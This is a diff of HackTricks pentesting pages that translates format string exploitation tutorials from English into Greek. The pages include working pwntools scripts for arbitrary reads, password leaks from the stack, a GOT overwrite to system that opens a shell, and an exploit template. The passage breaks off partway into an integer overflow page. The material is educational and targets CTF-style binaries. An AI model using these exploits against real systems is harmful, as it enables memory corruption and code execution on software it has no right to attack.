|
||||
|
||||
@ -106,18 +86,16 @@ payload += p32(0x8048000) #6th param
|
||||
p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
|
||||
> Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου γιατί η συμβολοσειρά θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης.
|
||||
|
||||
### Find offset
|
||||
### Βρείτε την απόσταση
|
||||
|
||||
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
|
||||
Για να βρείτε την απόσταση στην είσοδό σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και **να αυξήσετε** την τιμή μέχρι να ανακτήσετε τα `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Brute Force printf offset</summary>
|
||||
|
||||
```python
|
||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||
|
||||
@ -125,88 +103,82 @@ from pwn import *
|
||||
|
||||
# Iterate over a range of integers
|
||||
for i in range(10):
|
||||
# Construct a payload that includes the current integer as offset
|
||||
payload = f"AAAA%{i}$x".encode()
|
||||
# Construct a payload that includes the current integer as offset
|
||||
payload = f"AAAA%{i}$x".encode()
|
||||
|
||||
# Start a new process of the "chall" binary
|
||||
p = process("./chall")
|
||||
# Start a new process of the "chall" binary
|
||||
p = process("./chall")
|
||||
|
||||
# Send the payload to the process
|
||||
p.sendline(payload)
|
||||
# Send the payload to the process
|
||||
p.sendline(payload)
|
||||
|
||||
# Read and store the output of the process
|
||||
output = p.clean()
|
||||
# Read and store the output of the process
|
||||
output = p.clean()
|
||||
|
||||
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
||||
if b"41414141" in output:
|
||||
# If the string is found, log the success message and break out of the loop
|
||||
log.success(f"User input is at offset : {i}")
|
||||
break
|
||||
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
||||
if b"41414141" in output:
|
||||
# If the string is found, log the success message and break out of the loop
|
||||
log.success(f"User input is at offset : {i}")
|
||||
break
|
||||
|
||||
# Close the process
|
||||
p.close()
|
||||
# Close the process
|
||||
p.close()
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### How useful
|
||||
### Πόσο χρήσιμο
|
||||
|
||||
Arbitrary reads can be useful to:
|
||||
Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για:
|
||||
|
||||
- **Dump** the **binary** from memory
|
||||
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** το **binary** από τη μνήμη
|
||||
- **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς πρόσβασης όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitrary Write**
|
||||
## **Αυθαίρετη Εγγραφή**
|
||||
|
||||
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
|
||||
|
||||
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
|
||||
Ο μορφοποιητής **`%<num>$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \<num> στο stack. Αν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει με το printf, θα είναι σε θέση να κάνει **`%<num>$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
|
||||
|
||||
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν χρειάζεται να προσθέσει 9999 "A"s στην είσοδο, έτσι ώστε να είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
|
||||
|
||||
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
|
||||
Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).**
|
||||
|
||||
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
|
||||
|
||||
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
|
||||
Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
|
||||
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
|
||||
Θα **επικαλυφθεί** μια **λειτουργία** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** τη **λειτουργία** **`system`**.\
|
||||
Όπως αναφέρθηκε, για να γραφτεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**.
|
||||
|
||||
- **HOB** is called to the 2 higher bytes of the address
|
||||
- **LOB** is called to the 2 lower bytes of the address
|
||||
- **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης
|
||||
- **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης
|
||||
|
||||
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
|
||||
Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο.
|
||||
|
||||
If HOB < LOB\
|
||||
Αν HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
If HOB > LOB\
|
||||
Αν HOB > LOB\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
|
||||
### Pwntools Template
|
||||
|
||||
You can find a **template** to prepare a exploit for this kind of vulnerability in:
|
||||
Μπορείτε να βρείτε ένα **template** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο:
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
|
||||
Ή αυτό το βασικό παράδειγμα από [**εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -225,10 +197,9 @@ p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## Format Strings to BOF
|
||||
|
||||
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
|
||||
Είναι δυνατόν να καταχραστείτε τις ενέργειες εγγραφής μιας ευπάθειας μορφής συμβολοσειράς για να **γράψετε σε διευθύνσεις της στοίβας** και να εκμεταλλευτείτε μια ευπάθεια τύπου **buffer overflow**.
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
@ -236,16 +207,10 @@ It's possible to abuse the write actions of a format string vulnerability to **w
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
|
||||
- 32 bit, no relro, no canary, nx, no pie, βασική χρήση μορφών συμβολοσειρών για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξετε τη ροή εκτέλεσης)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
|
||||
- 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσετε τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
- 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψετε μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψετε τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, η `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,31 +2,26 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Read Binary Start
|
||||
|
||||
### Code
|
||||
## Ανάγνωση Δυαδικών Αρχείων - Έναρξη
|
||||
|
||||
### Κώδικας
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
char buffer[30];
|
||||
char buffer[30];
|
||||
|
||||
fgets(buffer, sizeof(buffer), stdin);
|
||||
fgets(buffer, sizeof(buffer), stdin);
|
||||
|
||||
printf(buffer);
|
||||
return 0;
|
||||
printf(buffer);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
Συγκεντρώστε το με:
|
||||
```python
|
||||
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
||||
```
|
||||
|
||||
### Exploit
|
||||
|
||||
### Εκμετάλλευση
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -38,16 +33,14 @@ payload += p64(0x00400000)
|
||||
p.sendline(payload)
|
||||
log.info(p.clean())
|
||||
```
|
||||
|
||||
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
|
||||
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
|
||||
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
|
||||
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
|
||||
- Ο **offset είναι 11** επειδή η ρύθμιση αρκετών Α και η **brute-forcing** με έναν βρόχο offsets από 0 έως 50 βρήκε ότι στον offset 11 και με 5 επιπλέον χαρακτήρες (pipes `|` στην περίπτωσή μας), είναι δυνατόν να ελέγξουμε μια πλήρη διεύθυνση.
|
||||
- Χρησιμοποίησα **`%11$p`** με padding μέχρι ώστε η διεύθυνση να είναι όλη 0x4141414141414141
|
||||
- Το **format string payload είναι ΠΡΙΝ τη διεύθυνση** επειδή η **printf σταματά να διαβάζει σε ένα null byte**, οπότε αν στείλουμε τη διεύθυνση και μετά το format string, η printf δεν θα φτάσει ποτέ στο format string καθώς θα βρεθεί ένα null byte πριν
|
||||
- Η επιλεγμένη διεύθυνση είναι 0x00400000 επειδή είναι εκεί που ξεκινά το binary (χωρίς PIE)
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
||||
|
||||
## Read passwords
|
||||
|
||||
## Διαβάστε κωδικούς πρόσβασης
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -55,111 +48,103 @@ log.info(p.clean())
|
||||
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
||||
|
||||
int main() {
|
||||
char stack_password[20] = "secretStackPass"; // Password in stack
|
||||
char input1[20], input2[20];
|
||||
char stack_password[20] = "secretStackPass"; // Password in stack
|
||||
char input1[20], input2[20];
|
||||
|
||||
printf("Enter first password: ");
|
||||
scanf("%19s", input1);
|
||||
printf("Enter first password: ");
|
||||
scanf("%19s", input1);
|
||||
|
||||
printf("Enter second password: ");
|
||||
scanf("%19s", input2);
|
||||
printf("Enter second password: ");
|
||||
scanf("%19s", input2);
|
||||
|
||||
// Vulnerable printf
|
||||
printf(input1);
|
||||
printf("\n");
|
||||
// Vulnerable printf
|
||||
printf(input1);
|
||||
printf("\n");
|
||||
|
||||
// Check both passwords
|
||||
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
||||
printf("Access Granted.\n");
|
||||
} else {
|
||||
printf("Access Denied.\n");
|
||||
}
|
||||
// Check both passwords
|
||||
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
||||
printf("Access Granted.\n");
|
||||
} else {
|
||||
printf("Access Denied.\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
Συγκεντρώστε το με:
|
||||
```bash
|
||||
clang -o fs-read fs-read.c -Wno-format-security
|
||||
```
|
||||
### Ανάγνωση από τη στοίβα
|
||||
|
||||
### Read from stack
|
||||
|
||||
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
|
||||
|
||||
Το **`stack_password`** θα αποθηκευτεί στη στοίβα επειδή είναι μια τοπική μεταβλητή, οπότε απλά η κατάχρηση του printf για να δείξει το περιεχόμενο της στοίβας είναι αρκετή. Αυτό είναι ένα exploit για να BF τις πρώτες 100 θέσεις για να διαρρεύσουν οι κωδικοί πρόσβασης από τη στοίβα:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
for i in range(100):
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$s\na".encode()
|
||||
p = process("./fs-read")
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output)
|
||||
p.close()
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$s\na".encode()
|
||||
p = process("./fs-read")
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output)
|
||||
p.close()
|
||||
```
|
||||
|
||||
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
|
||||
Στην εικόνα είναι δυνατόν να δούμε ότι μπορούμε να διαρρεύσουμε τον κωδικό πρόσβασης από τη στοίβα στην `10η` θέση:
|
||||
|
||||
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
||||
|
||||
### Read data
|
||||
### Ανάγνωση δεδομένων
|
||||
|
||||
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
|
||||
Εκτελώντας την ίδια εκμετάλλευση αλλά με `%p` αντί για `%s` είναι δυνατόν να διαρρεύσουμε μια διεύθυνση σωρού από τη στοίβα στο `%25$p`. Επιπλέον, συγκρίνοντας τη διαρρεύσουσα διεύθυνση (`0xaaaab7030894`) με τη θέση του κωδικού πρόσβασης στη μνήμη σε αυτή τη διαδικασία μπορούμε να αποκτήσουμε τη διαφορά διευθύνσεων:
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
|
||||
|
||||
Τώρα είναι η ώρα να βρούμε πώς να ελέγξουμε 1 διεύθυνση στη στοίβα για να την προσπελάσουμε από τη δεύτερη ευπάθεια μορφής.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def leak_heap(p):
|
||||
p.sendlineafter(b"first password:", b"%5$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
p.sendlineafter(b"first password:", b"%5$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
|
||||
for i in range(30):
|
||||
p = process("./fs-read")
|
||||
p = process("./fs-read")
|
||||
|
||||
heap_leak_addr = leak_heap(p)
|
||||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||||
heap_leak_addr = leak_heap(p)
|
||||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||||
|
||||
password_addr = heap_leak_addr - 0x126a
|
||||
password_addr = heap_leak_addr - 0x126a
|
||||
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$p|||".encode()
|
||||
payload += b"AAAAAAAA"
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$p|||".encode()
|
||||
payload += b"AAAAAAAA"
|
||||
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output.decode("utf-8"))
|
||||
p.close()
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output.decode("utf-8"))
|
||||
p.close()
|
||||
```
|
||||
|
||||
And it's possible to see that in the **try 14** with the used passing we can control an address:
|
||||
Και είναι δυνατόν να δούμε ότι στο **try 14** με την χρησιμοποιούμενη παράμετρο μπορούμε να ελέγξουμε μια διεύθυνση:
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process("./fs-read")
|
||||
|
||||
def leak_heap(p):
|
||||
# At offset 25 there is a heap leak
|
||||
p.sendlineafter(b"first password:", b"%25$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
# At offset 25 there is a heap leak
|
||||
p.sendlineafter(b"first password:", b"%25$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
|
||||
heap_leak_addr = leak_heap(p)
|
||||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||||
@ -178,7 +163,6 @@ output = p.clean()
|
||||
print(output)
|
||||
p.close()
|
||||
```
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,7 +1,6 @@
|
||||
# Format Strings Template
|
||||
# Πρότυπο Μορφών
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
@ -36,23 +35,23 @@ print(" ====================== ")
|
||||
|
||||
|
||||
def connect_binary():
|
||||
global P, ELF_LOADED, ROP_LOADED
|
||||
global P, ELF_LOADED, ROP_LOADED
|
||||
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1338) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1338) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(elf)# Find ROP gadgets
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(elf)# Find ROP gadgets
|
||||
|
||||
|
||||
#######################################
|
||||
@ -60,39 +59,39 @@ def connect_binary():
|
||||
#######################################
|
||||
|
||||
def send_payload(payload):
|
||||
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
|
||||
log.info("payload = %s" % repr(payload))
|
||||
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
|
||||
P.sendline(payload)
|
||||
sleep(0.5)
|
||||
return P.recv()
|
||||
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
|
||||
log.info("payload = %s" % repr(payload))
|
||||
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
|
||||
P.sendline(payload)
|
||||
sleep(0.5)
|
||||
return P.recv()
|
||||
|
||||
|
||||
def get_formatstring_config():
|
||||
global P
|
||||
global P
|
||||
|
||||
for offset in range(1,1000):
|
||||
connect_binary()
|
||||
P.clean()
|
||||
for offset in range(1,1000):
|
||||
connect_binary()
|
||||
P.clean()
|
||||
|
||||
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
|
||||
if b"41" in recieved:
|
||||
for padlen in range(0,4):
|
||||
if b"41414141" in recieved:
|
||||
connect_binary()
|
||||
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
print(recieved)
|
||||
if b"42424242" in recieved:
|
||||
log.info(f"Found offset ({offset}) and padlen ({padlen})")
|
||||
return offset, padlen
|
||||
if b"41" in recieved:
|
||||
for padlen in range(0,4):
|
||||
if b"41414141" in recieved:
|
||||
connect_binary()
|
||||
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
print(recieved)
|
||||
if b"42424242" in recieved:
|
||||
log.info(f"Found offset ({offset}) and padlen ({padlen})")
|
||||
return offset, padlen
|
||||
|
||||
else:
|
||||
connect_binary()
|
||||
payload = b" " + payload
|
||||
recieved = send_payload(payload).strip()
|
||||
else:
|
||||
connect_binary()
|
||||
payload = b" " + payload
|
||||
recieved = send_payload(payload).strip()
|
||||
|
||||
|
||||
# In order to exploit a format string you need to find a position where part of your payload
|
||||
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
|
||||
|
||||
connect_binary()
|
||||
if GDB and not REMOTETTCP and not REMOTESSH:
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
|
||||
sleep(5)
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
|
||||
sleep(5)
|
||||
|
||||
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
|
||||
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
|
||||
@ -141,5 +140,4 @@ format_string.execute_writes()
|
||||
P.interactive()
|
||||
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,123 +1,115 @@
|
||||
# Integer Overflow
|
||||
# Υπερχείλιση Ακέραιου
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
|
||||
Στην καρδιά μιας **υπερχείλισης ακέραιου** βρίσκεται ο περιορισμός που επιβάλλεται από το **μέγεθος** των τύπων δεδομένων στον προγραμματισμό υπολογιστών και την **ερμηνεία** των δεδομένων.
|
||||
|
||||
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
|
||||
Για παράδειγμα, ένας **8-bit unsigned integer** μπορεί να αναπαραστήσει τιμές από **0 έως 255**. Αν προσπαθήσετε να αποθηκεύσετε την τιμή 256 σε έναν 8-bit unsigned integer, θα επανέλθει στο 0 λόγω του περιορισμού της χωρητικότητάς του. Ομοίως, για έναν **16-bit unsigned integer**, ο οποίος μπορεί να κρατήσει τιμές από **0 έως 65,535**, η προσθήκη 1 στο 65,535 θα επαναφέρει την τιμή στο 0.
|
||||
|
||||
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
|
||||
Επιπλέον, ένας **8-bit signed integer** μπορεί να αναπαραστήσει τιμές από **-128 έως 127**. Αυτό συμβαίνει επειδή ένα bit χρησιμοποιείται για να αναπαραστήσει το πρόσημο (θετικό ή αρνητικό), αφήνοντας 7 bits για να αναπαραστήσουν το μέγεθος. Ο πιο αρνητικός αριθμός αναπαρίσταται ως **-128** (δυαδικό `10000000`), και ο πιο θετικός αριθμός είναι **127** (δυαδικό `01111111`).
|
||||
|
||||
### Max values
|
||||
### Μέγιστες τιμές
|
||||
|
||||
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
|
||||
Για τις πιθανές **ευπάθειες ιστού** είναι πολύ ενδιαφέρον να γνωρίζουμε τις μέγιστες υποστηριζόμενες τιμές:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
